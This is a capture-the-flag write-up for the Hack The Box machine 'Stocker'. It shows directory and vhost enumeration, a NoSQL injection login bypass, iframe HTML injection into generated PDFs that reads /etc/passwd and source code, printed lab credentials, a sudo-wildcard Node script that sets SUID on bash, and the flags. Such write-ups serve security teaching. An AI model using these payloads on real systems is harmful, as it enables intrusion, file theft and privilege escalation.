nmap
|
|
searchsploit
Right away, I looked into the nginx
version and ssh
version.
Then I added stocker.htn
to /etc/hosts/
and checked the website. Wappalyzer
(browser extension) showed the site uses Eleventy
and the template is website template is stride
. I also looked these up in searchsploit
. Nothing seemed too promising.
gobuster
Then I decided to use gobuster
to see if it gave any interesting subdirectories or vhosts.
subdirectory enumeration:
┌──(kali㉿kali)-[~/htb/stocker]
└─$ gobuster dir -u http://stocker.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.
txt -z -o gobuster.out
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://stocker.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/04/01 22:33:42 Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 178] [--> http://stocker.htb/img/]
/css (Status: 301) [Size: 178] [--> http://stocker.htb/css/]
/js (Status: 301) [Size: 178] [--> http://stocker.htb/js/]
===============================================================
2023/04/01 22:33:51 Finished
===============================================================
vhost enumeration:
┌──(kali㉿kali)-[~/htb/stocker]
└─$ gobuster vhost -u http://stocker.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-500
0.txt -z -o vhost.out
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://stocker.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/04/01 22:54:10 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.stocker.htb (Status: 302) [Size: 28]
===============================================================
2023/04/01 22:54:20 Finished
===============================================================
subdirectory enumeration on vhost:
gobuster dir -u http://dev.stocker.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -z -o gobuster.out
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.stocker.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/04/01 23:22:32 Starting gobuster in directory enumeration mode
===============================================================
/static (Status: 301) [Size: 179] [--> /static/]
/login (Status: 200) [Size: 2667]
/stock (Status: 302) [Size: 48] [--> /login?error=auth-required]
===============================================================
2023/04/01 23:22:48 Finished
===============================================================
/stock
seemed interesting.
sqlmap
dev.stocker.htb
took me to a login page. I tried a few random default passwords with no luck. Then I threw sqlmap
at it to see if SQLi would work here.
sqlmap -u "http://dev.stocker.htb/login" --data="username=admin&password=pass" --level=5 --risk=3 --
banner
This didn’t have any luck.
burpsuite
HackTricks NoSQL Injection section to the rescue.
{"username": {"$ne": null}, "password": {"$ne": null} }
After monitoring these requests with burp
, I realized malicious iframe
’s can be used to pull information from the server such as /etc/passwd
:
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 225
Connection: close
Cookie: connect.sid=
s%3ADTAH3L2HfmT2Cn6zhHfOfyr18Jes4y_c.rWc8wNthMi0JSQbkmNXfQid2y2ySv0JnmPglTMKjUmI
{
"basket":[
{
"_id":"638f116eeb060210cbd83a8f",
"title":"<iframe src=file:///etc/passwd height=750px width=750px</iframe>",
"description":"It's a rubbish bin.",
"image":"bin.jpg",
"price":76,
"currentStock":15,
"__v":0,
"amount":1
}
]
}
The server replies with:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 02 Apr 2023 18:50:21 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 53
Connection: close
X-Powered-By: Express
ETag: W/"35-haqxAbz2IXEyESkOv8R4XgQqfnw"
{
"success":true,
"orderId":"6429d02b9cf17ad01a93e155"
}
Finally, I checked the PDF receipt with the orderId
the API generates to see the output.
I repeated these steps to locate the javascript source code.
Request:
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 225
Connection: close
Cookie: connect.sid=
s%3ADTAH3L2HfmT2Cn6zhHfOfyr18Jes4y_c.rWc8wNthMi0JSQbkmNXfQid2y2ySv0JnmPglTMKjUmI
{
"basket":[
{
"_id":"638f116eeb060210cbd83a8f",
"title":"<iframe src=file:///var/www/dev/index.js height=750px width=750px</iframe>",
"description":"It's a rubbish bin.",
"image":"bin.jpg",
"price":76,
"currentStock":15,
"__v":0,
"amount":1
}
]
}
Response:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 02 Apr 2023 19:06:33 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 53
Connection: close
X-Powered-By: Express
ETag: W/"35-oWX982b+eWRapIaO22T+EspEwGI"
{
"success":true,
"orderId":"6429d2399cf17ad01a93e15a"
}
Creds acquired!
angoose@10.10.11.196 | IHeardPassphrasesArePrettySecure
privesc
Initial triage showed angoose
has sudo
privs for running /usr/bin/node
on the path /usr/local/scripts/*.js
. I took advantage of this wild card and wrote a malicious esc.js
to make /bin/bash
have the SETUID
bit.
angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
file: esc.js
const { exec } = require("child_process");
exec("chmod u+s /bin/bash", (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
console.log(`stdout: ${stdout}`);
});
Flags
user.txt: 35ead2014cf3831c2b46a6d7108f48f1
root.txt: 8e386772be19262c050d62534c53ee1d